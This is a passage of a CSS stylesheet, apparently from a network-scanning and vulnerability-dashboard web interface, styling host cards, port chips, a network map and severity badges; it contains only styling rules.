left: 22px; - background: var(--acid); -} - -.netkb-container .kb-switch[data-on="true"] { - color: var(--ink); -} - -.netkb-container .icon-btn { - display: inline-flex; - align-items: center; - justify-content: center; - width: 40px; - height: 40px; - border-radius: 12px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow); - cursor: pointer; - transition: transform .12s ease, box-shadow .12s ease; -} - -.netkb-container .icon-btn:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.netkb-container .icon-btn svg { - width: 20px; - height: 20px; - fill: var(--ink); -} - -.netkb-container .search-pop { - position: absolute; - right: 8px; - top: 54px; - display: none; - min-width: 260px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 12px; - padding: 10px; - box-shadow: var(--shadow-hover); -} - -.netkb-container .search-pop.show { - display: block; -} - -.netkb-container .search-input-wrap { - position: relative; - display: flex; - align-items: center; -} - -.netkb-container .search-pop input { - width: 100%; - padding: 10px 32px 10px 12px; - border-radius: 10px; - border: 1px solid var(--c-border); - background: var(--c-panel-2); - color: var(--ink); - font-weight: 700; - outline: none; -} - -.netkb-container .search-clear { - position: absolute; - right: 6px; - top: 50%; - transform: translateY(-50%); - width: 24px; - height: 24px; - display: flex; - align-items: center; - justify-content: center; - border: none; - background: transparent; - color: var(--muted); - font-size: 14px; - cursor: pointer; - border-radius: 50%; - transition: background .15s; -} - -.netkb-container .search-clear:hover { - background: var(--c-border-strong); - color: var(--ink); -} - -.netkb-container .search-hint { - margin-top: 6px; - font-size: .85rem; - color: var(--muted); -} - -.netkb-container .card-container { - display: flex; - flex-wrap: wrap; - gap: 12px; - align-items: stretch; - justify-content: center; -} - -.netkb-container .card { - background: var(--grad-card); - color: var(--ink); - border: 1px solid var(--c-border-strong); - border-radius: 18px; - box-shadow: var(--shadow); - width: min(380px, 100%); - padding: 12px; - display: flex; - flex-direction: column; - gap: 10px; - transition: transform .15s ease, box-shadow .15s ease, border-color .15s ease, background .15s ease; -} - -.netkb-container .card:hover { - box-shadow: var(--shadow-hover); - border-color: var(--c-border-hi); - transform: translateY(-1px); -} - -.netkb-container .card.alive .card-title { - color: var(--ok); -} - -.netkb-container .card.not-alive { - background: var(--kb-offline-bg); - border-color: var(--kb-offline-brd); - color: color-mix(in oklab, var(--muted) 90%, var(--ink) 10%); - box-shadow: 0 0 0 1px var(--kb-offline-brd), 0 0 0 2px color-mix(in oklab, var(--kb-offline-ring) 26%, transparent), var(--shadow); -} - -.netkb-container .card.not-alive .card-title { - color: color-mix(in oklab, var(--muted) 85%, var(--ink) 15%); -} - -.netkb-container .card-content { - display: flex; - flex-direction: column; - gap: 6px; - flex: 1; -} - -.netkb-container .card-title { - font-size: 1.1rem; - font-weight: 800; - margin: 0; -} - -.netkb-container .card-section { - display: flex; - align-items: center; - gap: 8px; - flex-wrap: wrap; -} - -.netkb-container .card.list { - width: 100%; - max-width: none; - flex-direction: row; - align-items: center; -} - -.netkb-container .card.list .card-title { - font-size: 1rem; -} - -.netkb-container .chip { - display: inline-block; - padding: .32rem .7rem; - border-radius: 999px; - border: 1px solid var(--c-border-strong); - background: var(--kb-chip); - color: var(--ink); - font-weight: 700; - font-size: .92rem; -} - -.netkb-container .chip.host { - background: var(--kb-hostname-bg); -} - -.netkb-container .chip.ip { - background: var(--kb-ip-bg); -} - -.netkb-container .chip.mac { - background: var(--kb-mac-bg); - color: var(--muted); -} - -.netkb-container .chip.vendor { - background: var(--kb-vendor-bg); -} - -.netkb-container .chip.essid { - background: var(--kb-essid-bg); -} - -.netkb-container .chip.port { - background: var(--kb-ports-bg); - border-color: var(--c-border-hi); -} - -.netkb-container .port-bubbles { - display: flex; - flex-wrap: wrap; - gap: 6px; -} - -.netkb-container .status-container { - display: flex; - flex-wrap: wrap; - gap: 8px; - justify-content: center; -} - -.netkb-container .badge { - background: var(--c-panel-2); - color: var(--ink); - border: 1px solid var(--c-border); - border-radius: 14px; - padding: 8px 10px; - min-width: 160px; - text-align: center; - box-shadow: var(--shadow); - transition: transform .12s ease, box-shadow .12s ease, opacity .12s ease; - position: relative; -} - -.netkb-container .badge .badge-header { - font-weight: 800; - opacity: .95; -} - -.netkb-container .badge .badge-status { - font-weight: 900; -} - -.netkb-container .badge .badge-timestamp { - font-size: .85em; - opacity: .9; -} - -.netkb-container .badge.clickable { - cursor: pointer; -} - -.netkb-container .badge:hover { - transform: translateY(-1px); - box-shadow: var(--shadow-hover); -} - -.netkb-container .badge.success { - background: linear-gradient(180deg, color-mix(in oklab, var(--ok) 12%, transparent), transparent); -} - -.netkb-container .badge.failed { - background: linear-gradient(180deg, color-mix(in oklab, var(--danger) 18%, transparent), transparent); -} - -.netkb-container .badge.pending { - background: linear-gradient(180deg, color-mix(in oklab, var(--muted) 12%, transparent), transparent); -} - -.netkb-container .badge.expired { - background: linear-gradient(180deg, color-mix(in oklab, var(--warning) 18%, transparent), transparent); -} - -.netkb-container .badge.cancelled { - background: linear-gradient(180deg, color-mix(in oklab, var(--c-panel) 18%, transparent), transparent); -} - -.netkb-container .badge.running { - background: linear-gradient(180deg, color-mix(in oklab, #18f0ff 14%, transparent), transparent); - overflow: hidden; - animation: kb-badgePulse 1.6s ease-in-out infinite; -} - -.netkb-container .badge.running::after { - content: ""; - position: absolute; - inset: 0; - background: var(--kb-badge-shimmer); - animation: kb-shimmer 1.8s linear infinite; -} - -.netkb-container .badge.running::before { - content: ""; - position: absolute; - inset: -20%; - background: linear-gradient(130deg, transparent 40%, rgba(255, 255, 255, .06) 50%, transparent 60%); - animation: kb-sheen 2.2s ease-in-out infinite; -} - -@keyframes kb-shimmer { - 0% { - transform: translateX(-100%); - } - - 100% { - transform: translateX(100%); - } -} - -@keyframes kb-sheen { - 0% { - transform: translateX(-30%); - } - - 100% { - transform: translateX(30%); - } -} - -@keyframes kb-badgePulse { - - 0%, - 100% { - box-shadow: 0 0 0 0 rgba(24, 240, 255, .12); - } - - 50% { - box-shadow: 0 0 0 8px rgba(24, 240, 255, .04); - } -} - -.netkb-container .table-wrap { - border: 1px solid var(--c-border-strong); - border-radius: 14px; - overflow: auto; - background: var(--panel); - box-shadow: var(--shadow); -} - -.netkb-container .table-inner { - min-width: max-content; -} - -.netkb-container table { - width: 100%; - border-collapse: separate; - border-spacing: 0; -} - -.netkb-container thead th { - position: sticky; - top: 0; - z-index: 2; - background: var(--c-panel); - color: var(--ink); - border-bottom: 1px solid var(--c-border-strong); - padding: 10px; - text-align: left; - white-space: nowrap; - cursor: pointer; -} - -.netkb-container tbody td { - border-bottom: 1px solid var(--c-border); - padding: 10px; - white-space: nowrap; - text-align: center; -} - -.netkb-container th:first-child, -.netkb-container td:first-child { - position: sticky; - left: 0; - background: var(--panel); - z-index: 3; -} - -.netkb-container .filter-icon { - width: 16px; - height: 16px; - margin-left: 6px; - vertical-align: middle; -} - -.netkb-container mark.hl { - background: color-mix(in oklab, var(--acid) 25%, transparent); - color: var(--ink); - padding: 0 .15em; - border-radius: 4px; -} - -.netkb-container .segmented button:focus-visible, -.netkb-container .icon-btn:focus-visible, -.netkb-container .kb-switch:has(input:focus-visible) { - outline: 2px solid var(--acid); - outline-offset: 2px; - box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); -} - -@media (max-width:720px) { - .netkb-container { - min-width: 0; - max-width: 100%; - overflow: hidden; - } - - .netkb-container .card { - width: 100%; - } - - .netkb-container .segmented button[data-view="grid"] { - display: none; - } - - .netkb-container .netkb-toolbar-wrap { - position: relative; - top: auto; - } - - .netkb-container .netkb-toolbar { - flex-wrap: wrap; - justify-content: center; - gap: 8px; - } - - .netkb-container .table-wrap { - display: block; - overflow-x: auto; - -webkit-overflow-scrolling: touch; - max-width: 100%; - width: 100%; - box-sizing: border-box; - } - - .netkb-container .table-inner>table { - min-width: 760px; - width: max-content; - } - - .netkb-container thead th, - .netkb-container tbody td { - min-width: 80px; - font-size: .85rem; - padding: 8px 6px; - white-space: nowrap; - } - - .netkb-container .chip { - font-size: .8rem; - padding: .25rem .5rem; - } - - .netkb-container .badge { - min-width: 120px; - padding: 6px 8px; - } -} - -/* ===== NETWORK ===== */ -.network-container { - padding: 12px; - position: relative; - z-index: 2; - display: flex; - flex-direction: column; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 16px); -} - -.network-container .nv-toolbar-wrap { - position: sticky; - top: 0; - margin: 0 0 10px 0; - z-index: 500; - backdrop-filter: saturate(1.1) blur(6px); -} - -.network-container .nv-toolbar { - display: flex; - gap: 12px; - align-items: center; - justify-content: space-between; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 16px; - padding: 8px 10px; - box-shadow: var(--shadow); -} - -.network-container .nv-search { - display: flex; - align-items: center; - gap: 8px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: 12px; - padding: 6px 10px; - min-width: 240px; - box-shadow: var(--shadow); -} - -.network-container .nv-search-icon { - font-size: 16px; - flex-shrink: 0; - opacity: .9; -} - -.network-container .nv-search input { - border: none; - outline: none; - background: transparent; - color: var(--ink); - font-weight: 700; - width: 100%; - min-width: 0; -} - -.network-container .nv-search-clear { - flex-shrink: 0; - width: 22px; - height: 22px; - display: flex; - align-items: center; - justify-content: center; - border: none; - background: transparent; - color: var(--muted); - font-size: 13px; - cursor: pointer; - border-radius: 50%; - transition: background .15s; -} - -.network-container .nv-search-clear:hover { - background: var(--c-border-strong); - color: var(--ink); -} - -.network-container .segmented { - display: inline-flex; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 999px; - padding: 4px; - box-shadow: var(--shadow); -} - -.network-container .segmented button { - appearance: none; - border: 0; - background: transparent; - color: var(--muted); - font-weight: 700; - padding: 8px 14px; - border-radius: 999px; - cursor: pointer; - transition: background .15s ease, color .15s ease, transform .1s ease; -} - -.network-container .segmented button[aria-pressed="true"] { - background: var(--grad-card); - color: var(--ink); - box-shadow: inset 0 0 0 1px var(--c-border-hi), 0 6px 24px var(--glow-weak); - transform: translateY(-1px); -} - -.network-container .nv-switch { - display: inline-flex; - align-items: center; - gap: 10px; - font-weight: 700; - color: var(--muted); - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 999px; - padding: 6px 10px; - box-shadow: var(--shadow); -} - -.network-container .nv-switch input { - display: none; -} - -.network-container .nv-switch .track { - width: 44px; - height: 24px; - border-radius: 999px; - background: var(--c-panel-2); - position: relative; - border: 1px solid var(--c-border); -} - -.network-container .nv-switch .thumb { - position: absolute; - top: 2px; - left: 2px; - width: 20px; - height: 20px; - border-radius: 50%; - background: var(--ink); - box-shadow: 0 2px 8px rgba(0, 0, 0, .4); - transition: left .18s ease, background .18s ease; -} - -.network-container .nv-switch input:checked~.track .thumb { - left: 22px; - background: var(--acid); -} - -.network-container .nv-switch[data-on="true"] { - color: var(--ink); -} - -.network-container .table-wrap { - border: 1px solid var(--c-border-strong); - border-radius: 14px; - overflow: auto; - -webkit-overflow-scrolling: touch; - background: var(--c-panel, #0b1218); - box-shadow: var(--shadow); - flex: 1; - min-height: 0; -} - -.network-container table.network-table { - width: 100%; - min-width: 860px; - table-layout: auto; - border-collapse: separate; - border-spacing: 0 .5rem; -} - -.network-container thead th { - position: sticky; - top: 0; - z-index: 3; - background: var(--c-panel, #0b1218); - color: var(--ink); - border-bottom: 1px solid var(--c-border-strong); - padding: 10px; - text-align: left; - white-space: nowrap; - cursor: pointer; - border-radius: 8px; -} - -.network-container tbody tr { - background: color-mix(in oklab, var(--c-panel, #0b1218) 95%, var(--acid) 5%); - border: 1px solid var(--c-border-strong); - border-radius: 8px; - transition: .25s ease; -} - -.network-container tbody tr:hover { - background: color-mix(in oklab, var(--c-panel, #0b1218) 88%, var(--acid) 12%); - box-shadow: var(--shadow); - transform: translateY(-2px); -} - -.network-container td { - padding: 10px; - color: var(--ink, #fff); - background: color-mix(in oklab, var(--c-panel, #0b1218) 96%, var(--acid) 4%); - vertical-align: top; - white-space: normal; -} - -.network-container th.hosts-header { - left: 0; - position: sticky; - z-index: 4; -} - -.network-container td.hosts-cell { - position: sticky; - left: 0; - z-index: 2; - background: color-mix(in oklab, var(--c-panel, #0b1218) 92%, var(--acid) 8%); -} - -.network-container thead th.sort-asc::after { - content: '\2191'; - margin-left: 8px; - color: #00b894; -} - -.network-container thead th.sort-desc::after { - content: '\2193'; - margin-left: 8px; - color: #00b894; -} - -.network-container .hosts-content { - display: flex; - align-items: center; - gap: .55rem; - flex-wrap: wrap; - min-width: 320px; -} - -.network-container .bubble { - padding: .5rem 1rem; - border-radius: 6px; - font-size: .9rem; - display: inline-flex; - align-items: center; - gap: .5rem; - transition: .2s; - box-shadow: 0 2px 4px rgba(0, 0, 0, .1); -} - -.network-container .bubble.essid { - background: linear-gradient(135deg, #272727, #2560a1); - color: #fff; - padding: 5px 10px; - border-radius: 5px; - font-size: .9em; - font-weight: bold; - white-space: nowrap; - display: inline-block; -} - -.network-container .bubble.ip-address { - background: linear-gradient(135deg, #272727, #00cec9); - color: #fff; - font-weight: 600; - cursor: pointer; -} - -.network-container .bubble.hostname { - background: linear-gradient(135deg, #5b5c5a, #e7951a); - color: #fff; - cursor: pointer; -} - -.network-container .bubble.mac-address { - background: linear-gradient(135deg, #404041, #636e72); - color: #b2bec3; - font-family: monospace; - cursor: pointer; - overflow: hidden; - text-overflow: ellipsis; - white-space: nowrap; -} - -.network-container .bubble.vendor { - background: linear-gradient(135deg, #5b5c5a, #0a4952); - color: #fff; - font-weight: 600; - cursor: pointer; - white-space: nowrap; -} - -.network-container .ports-container { - display: flex; - flex-wrap: wrap; - gap: .45rem; - align-items: center; - min-width: 220px; -} - -.network-container .port-bubble { - background: linear-gradient(135deg, #1f2c33, #00b894); - color: #eafff8; - padding: .4rem .8rem; - border-radius: 20px; - font-size: .85rem; - border: 1px solid color-mix(in oklab, #00b894 40%, transparent); - max-width: fit-content; - transition: .2s; -} - -.network-container .port-bubble:hover { - transform: scale(1.08); - box-shadow: 0 2px 8px rgba(9, 132, 227, .3); -} - -.network-container .segmented button:focus-visible, -.network-container .nv-search input:focus-visible, -.network-container .nv-switch:has(input:focus-visible) { - outline: 2px solid var(--acid); - outline-offset: 2px; - box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); -} - -/* Ocean / Map */ -.network-container .ocean-container { - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - overflow: hidden; - z-index: 0; - pointer-events: none; - background: radial-gradient(ellipse at center, #0a4b7a 0%, #01162e 60%, #00050a 100%); -} - -.network-container .ocean-surface { - position: absolute; - top: -50%; - left: -50%; - width: 200%; - height: 200%; - opacity: 0.3; - background-image: repeating-radial-gradient(circle at 50% 50%, transparent 0, transparent 20px, rgba(255, 255, 255, 0.02) 25px, transparent 40px); - animation: nv-oceanDrift 60s linear infinite alternate; -} - -.network-container .ocean-caustics { - position: absolute; - top: -100%; - left: -100%; - width: 300%; - height: 300%; - opacity: 0.3; - mix-blend-mode: overlay; - animation: nv-causticFlow 30s linear infinite; -} - -@keyframes nv-oceanDrift { - 0% { - transform: translate(0, 0) rotate(0deg); - } - - 100% { - transform: translate(-40px, 20px) rotate(1deg); - } -} - -@keyframes nv-causticFlow { - 0% { - transform: translate(0, 0); - } - - 100% { - transform: translate(-100px, -50px); - } -} - -.network-container #visualization-container { - display: none; - position: relative; - min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px) - 100px); - height: 100%; - flex: 1; - border-radius: 14px; - overflow: hidden; - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow); - background: transparent; -} - -.network-container .link { - stroke: rgba(255, 255, 255, 0.15); - stroke-width: 1px; -} - -.network-container .node { - cursor: pointer; - transition: opacity 0.5s; -} - -.network-container .foam-ring { - fill: rgba(240, 248, 255, 0.3); - mix-blend-mode: screen; - animation: nv-foamPulse 4s ease-in-out infinite alternate; -} - -.network-container .foam-ring:nth-child(2) { - animation-delay: -1s; - opacity: 0.3; -} - -@keyframes nv-foamPulse { - 0% { - transform: scale(0.9) rotate(0deg); - opacity: 0.4; - } - - 100% { - transform: scale(1.1) rotate(10deg); - opacity: 0.1; - } -} - -.network-container .sonar-wave { - fill: none; - stroke: #ffb703; - stroke-width: 2px; - animation: nv-sonar 4s infinite ease-out; - opacity: 0; - pointer-events: none; -} - -@keyframes nv-sonar { - 0% { - r: 40px; - opacity: 0.6; - stroke-width: 3px; - } - - 100% { - r: 300px; - opacity: 0; - stroke-width: 1px; - } -} - -.network-container .label-group { - transition: transform 0.1s; -} - -.network-container .label-bg { - fill: rgba(0, 20, 40, 0.8); - rx: 4; - stroke: rgba(255, 255, 255, 0.1); - stroke-width: 0.5px; -} - -.network-container .label-text { - font-size: 10px; - fill: #fff; - font-family: monospace; - text-shadow: 0 1px 2px #000; - pointer-events: none; -} - -.network-container .d3-tooltip { - position: absolute; - pointer-events: none; - opacity: 0; - background: rgba(2, 16, 31, 0.95); - border: 1px solid #219ebc; - padding: 12px; - border-radius: 8px; - font-size: 0.85rem; - color: #fff; - box-shadow: 0 5px 20px rgba(0, 0, 0, 0.5); - transform: translate(-50%, -110%); - transition: opacity 0.2s; - white-space: nowrap; - z-index: 1000; -} - -@media (max-width: 900px) { - .network-container .nv-toolbar { - flex-wrap: wrap; - justify-content: flex-start; - gap: 8px; - } - - .network-container .nv-search { - min-width: 0; - flex: 1 1 220px; - } - - .network-container .segmented { - order: 3; - } - - .network-container table.network-table { - min-width: 700px; - } - - .network-container .hosts-content { - min-width: 260px; - } -} - -@media (max-width: 720px) { - .network-container { - padding: 8px; - } - - .network-container .nv-toolbar { - padding: 8px; - } - - .network-container table.network-table { - min-width: 620px; - border-spacing: 0 .35rem; - } - - .network-container .bubble { - font-size: .82rem; - padding: .35rem .65rem; - } - - .network-container .port-bubble { - font-size: .8rem; - padding: .34rem .62rem; - } -} - -/* ========================================================================== - VULNERABILITIES - ========================================================================== */ -.vuln-container { - padding: var(--gap-4); - min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar)); - animation: vuln-fadeIn 0.5s ease-in; -} - -@keyframes vuln-fadeIn { - from { - opacity: 0; - transform: translateY(10px); - } - - to { - opacity: 1; - transform: translateY(0); - } -} - -.vuln-container .stats-header { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); - gap: var(--gap-4); - margin-bottom: var(--gap-3); -} - -.vuln-container .stat-card { - background: var(--grad-card); - border-radius: var(--radius); - padding: var(--gap-4); - text-align: center; - border: 1px solid var(--c-border); - transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); - position: relative; - overflow: hidden; - box-shadow: var(--elev); -} - -.vuln-container .stat-card::before { - content: ''; - position: absolute; - top: 0; - left: 0; - right: 0; - height: 3px; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - animation: vuln-pulse 2s infinite; -} - -.vuln-container .stat-card:hover { - transform: translateY(-2px); - box-shadow: var(--shadow-hover); -} - -.vuln-container .stat-number { - font-size: 28px; - font-weight: bold; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; - margin: 5px 0; -} - -.vuln-container .stat-label { - font-size: 12px; - color: var(--muted); - text-transform: uppercase; - letter-spacing: 1px; -} - -.vuln-container .control-bar { - background: var(--grad-card); - border-radius: var(--radius); - padding: var(--gap-4); - margin-bottom: var(--gap-3); - display: flex; - flex-wrap: wrap; - gap: var(--gap-3); - align-items: center; - border: 1px solid var(--c-border); - box-shadow: var(--elev); -} - -.vuln-container .search-box { - flex: 1; - min-width: 200px; - position: relative; -} - -.vuln-container .search-input { - width: 100%; - height: var(--control-h); - padding: 0 40px 0 var(--control-pad-x); - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r); - color: var(--ink); - font-size: 14px; - transition: all 0.3s ease; -} - -.vuln-container .search-input:focus { - outline: none; - border-color: var(--accent); - box-shadow: 0 0 0 3px var(--glow-weak); -} - -.vuln-container .clear-search { - position: absolute; - right: 10px; - top: 50%; - transform: translateY(-50%); - background: none; - border: none; - color: var(--danger); - cursor: pointer; - font-size: 18px; - display: none; - transition: color 0.3s ease; -} - -.vuln-container .clear-search:hover { - color: var(--acid-2); -} - -.vuln-container .clear-search.show { - display: block; -} - -.vuln-container .filter-buttons { - display: flex; - gap: var(--gap-3); -} - -.vuln-container .filter-btn.active { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - border-color: var(--accent); -} - -.vuln-container .severity-filter { - display: flex; - gap: var(--gap-2); -} - -.vuln-container .severity-btn.critical.active { - background: var(--danger); - border-color: var(--danger); - color: var(--white); -} - -.vuln-container .severity-btn.high.active { - background: var(--warning); - border-color: var(--warning); - color: var(--ink-invert); -} - -.vuln-container .severity-btn.medium.active { - background: var(--accent-2); - border-color: var(--accent-2); - color: var(--ink-invert); -} - -.vuln-container .severity-btn.low.active { - background: var(--ok); - border-color: var(--ok); - color: var(--ink-invert); -} - -.vuln-container .vuln-grid { - display: grid; - gap: var(--gap-4); - max-height: calc(100vh - 250px); - overflow-y: auto; -} - -.vuln-container .vuln-card { - background: var(--grad-card); - border-radius: var(--radius); - border: 1px solid var(--c-border); - overflow: hidden; - transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); - animation: vuln-slideIn 0.4s ease-out; - box-shadow: var(--elev); -} - -@keyframes vuln-slideIn { - from { - opacity: 0; - transform: translateX(-20px); - } - - to { - opacity: 1; - transform: translateX(0); - } -} - -.vuln-container .vuln-card:hover { - transform: translateY(-2px); - box-shadow: var(--shadow-hover); - border-color: var(--accent); -} - -.vuln-container .vuln-card.inactive { - opacity: 0.6; - border-color: var(--muted-off); -} - -.vuln-container .vuln-header { - padding: var(--gap-4); - background: var(--grad-quickpanel); - display: flex; - justify-content: space-between; - align-items: center; - cursor: pointer; - user-select: none; - border-bottom: 1px solid var(--c-border); -} - -.vuln-container .vuln-title { - display: flex; - align-items: center; - gap: var(--gap-3); - flex: 1; -} - -.vuln-container .vuln-id { - font-weight: bold; - font-size: 14px; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .severity-badge { - padding: 4px 10px; - border-radius: 20px; - font-size: 11px; - font-weight: bold; - text-transform: uppercase; - letter-spacing: 0.5px; - animation: vuln-pulse 2s infinite; -} - -@keyframes vuln-pulse { - 0% { - opacity: 1; - } - - 50% { - opacity: 0.7; - } - - 100% { - opacity: 1; - } -} - -.vuln-container .severity-critical { - background: var(--danger); - color: var(--white); -} - -.vuln-container .severity-high { - background: var(--warning); - color: var(--ink-invert); -} - -.vuln-container .severity-medium { - background: var(--accent-2); - color: var(--ink-invert); -} - -.vuln-container .severity-low { - background: var(--ok); - color: var(--ink-invert); -} - -.vuln-container .vuln-meta { - display: flex; - gap: var(--gap-4); - font-size: 12px; - color: var(--muted); -} - -.vuln-container .meta-item { - display: flex; - align-items: center; - gap: var(--gap-2); -} - -.vuln-container .expand-icon { - color: var(--muted); - transition: transform 0.3s ease; - font-size: 18px; -} - -.vuln-container .vuln-card.expanded .expand-icon { - transform: rotate(180deg); -} - -.vuln-container .vuln-content { - max-height: 0; - overflow: hidden; - transition: max-height 0.3s ease-out; -} - -.vuln-container .vuln-card.expanded .vuln-content { - max-height: 1000px; -} - -.vuln-container .vuln-details { - padding: var(--gap-4); - border-top: 1px solid var(--c-border); - background: var(--c-panel); -} - -.vuln-container .detail-section { - margin-bottom: var(--gap-4); -} - -.vuln-container .detail-title { - font-size: 12px; - color: var(--muted); - text-transform: uppercase; - letter-spacing: 1px; - margin-bottom: var(--gap-2); - font-weight: 600; -} - -.vuln-container .detail-content { - font-size: 14px; - line-height: 1.6; - color: var(--ink); -} - -.vuln-container .tags-container { - display: flex; - flex-wrap: wrap; - gap: var(--gap-2); -} - -.vuln-container .tag { - padding: 4px 8px; - background: var(--c-chip-bg); - border: 1px solid var(--c-border); - border-radius: var(--gap-2); - font-size: 11px; - color: var(--muted); -} - -.vuln-container .action-buttons { - display: flex; - gap: var(--gap-3); - padding: var(--gap-4); - border-top: 1px solid var(--c-border); - background: var(--c-panel-2); -} - -.vuln-container .action-btn { - flex: 1; - justify-content: center; - text-transform: uppercase; - letter-spacing: 0.5px; -} - -.vuln-container .btn-remediate { - background: var(--ok); - border-color: var(--ok); - color: var(--ink-invert); -} - -.vuln-container .btn-details { - background: var(--accent-2); - border-color: var(--accent-2); - color: var(--ink-invert); -} - -.vuln-container .btn-export { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - border-color: var(--accent); - color: var(--white); -} - -/* Host view */ -.vuln-container .host-card { - background: var(--grad-card); - border-radius: var(--radius); - border: 1px solid var(--c-border); - margin-bottom: var(--gap-4); - overflow: hidden; - animation: vuln-slideIn 0.4s ease-out; - box-shadow: var(--elev); -} - -.vuln-container .host-header { - background: var(--grad-quickpanel); - padding: var(--gap-4); - cursor: pointer; - user-select: none; - display: flex; - justify-content: space-between; - align-items: center; - border-bottom: 1px solid var(--c-border); -} - -.vuln-container .host-header:hover { - background: var(--grad-modal); -} - -.vuln-container .host-info { - display: flex; - flex-direction: column; - gap: var(--gap-2); -} - -.vuln-container .host-name { - font-size: 16px; - font-weight: bold; - color: var(--ink); - display: flex; - align-items: center; - gap: var(--gap-3); -} - -.vuln-container .host-details { - display: flex; - gap: var(--gap-4); - font-size: 12px; - color: var(--muted); -} - -.vuln-container .host-stats { - display: flex; - gap: var(--gap-3); - align-items: center; -} - -.vuln-container .host-stat-badge { - padding: 5px 10px; - border-radius: 20px; - font-size: 11px; - font-weight: bold; - display: flex; - align-items: center; - gap: var(--gap-2); -} - -.vuln-container .host-vulns { - max-height: 0; - overflow: hidden; - transition: max-height 0.3s ease-out; -} - -.vuln-container .host-card.expanded .host-vulns { - max-height: 2000px; -} - -.vuln-container .host-vuln-list { - padding: var(--gap-4); - background: var(--c-panel); -} - -.vuln-container .host-vuln-item { - background: var(--c-panel-2); - border: 1px solid var(--c-border); - border-radius: var(--control-r); - padding: var(--gap-3); - margin-bottom: var(--gap-3); - display: flex; - justify-content: space-between; - align-items: center; - transition: all 0.3s ease; -} - -.vuln-container .host-vuln-item:hover { - background: var(--grad-card); - border-color: var(--accent); - transform: translateX(5px); -} - -.vuln-container .host-summary { - background: var(--grad-quickpanel); - padding: var(--gap-3); - border-radius: var(--control-r); - margin-bottom: var(--gap-3); - display: flex; - justify-content: space-around; - text-align: center; -} - -.vuln-container .host-summary-item { - display: flex; - flex-direction: column; - gap: var(--gap-2); -} - -.vuln-container .host-summary-value { - font-size: 18px; - font-weight: bold; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .host-summary-label { - font-size: 10px; - color: var(--muted); - text-transform: uppercase; - letter-spacing: 0.5px; -} - -/* Badges */ -.vuln-container .badge-kev { - background: var(--danger); - padding: 2px 6px; - border-radius: 10px; - font-size: 10px; - color: var(--white); - font-weight: bold; -} - -.vuln-container .badge-exploit { - background: linear-gradient(135deg, #9c27b0, #e1bee7); - padding: 2px 6px; - border-radius: 10px; - font-size: 10px; - color: var(--white); - font-weight: bold; -} - -.vuln-container .badge-epss-high { - background: linear-gradient(135deg, var(--danger), var(--warning)); - padding: 2px 6px; - border-radius: 10px; - font-size: 10px; - color: var(--white); - font-weight: bold; -} - -.vuln-container .badge-epss-medium { - background: linear-gradient(135deg, var(--warning), var(--accent-2)); - padding: 2px 6px; - border-radius: 10px; - font-size: 10px; - color: var(--white); - font-weight: bold; -} - -/* Pagination */ -.vuln-container .pagination { - display: flex; - justify-content: center; - gap: var(--gap-3); - margin-top: var(--gap-4); - padding: var(--gap-3); -} - -.vuln-container .page-btn:disabled { - opacity: 0.5; - cursor: not-allowed; -} - -.vuln-container .page-btn.active { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - border-color: var(--accent); - color: var(--white); -} - -.vuln-container .page-info { - display: flex; - align-items: center; - color: var(--muted); - font-size: 13px; -} - -/* Modal */ -.vuln-container .modal { - display: none; - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - background: var(--glass-8); - z-index: 1000; - animation: vuln-fadeIn 0.3s ease; -} - -.vuln-container .modal.show { - display: flex; - align-items: center; - justify-content: center; -} - -.vuln-container .modal-content { - background: var(--grad-modal); - border-radius: var(--radius); - max-width: 800px; - width: 90%; - max-height: 80vh; - overflow-y: auto; - animation: vuln-slideUp 0.3s ease; - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow-hover); -} - -@keyframes vuln-slideUp { - from { - transform: translateY(50px); - opacity: 0; - } - - to { - transform: translateY(0); - opacity: 1; - } -} - -.vuln-container .modal-header { - padding: var(--gap-4); - border-bottom: 1px solid var(--c-border); - display: flex; - justify-content: space-between; - align-items: center; - position: sticky; - top: 0; - background: var(--grad-quickpanel); - z-index: 1; -} - -.vuln-container .modal-title { - font-size: 18px; - font-weight: bold; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .close-modal { - background: none; - border: none; - color: var(--muted); - font-size: 24px; - cursor: pointer; - transition: color 0.3s ease; -} - -.vuln-container .close-modal:hover { - color: var(--ink); -} - -.vuln-container .modal-body { - padding: var(--gap-4); -} - -@media (max-width:768px) { - .vuln-container .stats-header { - grid-template-columns: repeat(2, 1fr); - } - - .vuln-container .control-bar { - flex-direction: column; - } - - .vuln-container .search-box { - width: 100%; - } - - .vuln-container .filter-buttons { - width: 100%; - justify-content: space-between; - } - - .vuln-container .severity-filter { - width: 100%; - justify-content: space-between; - } - - .vuln-container .vuln-header { - flex-direction: column; - align-items: flex-start; - 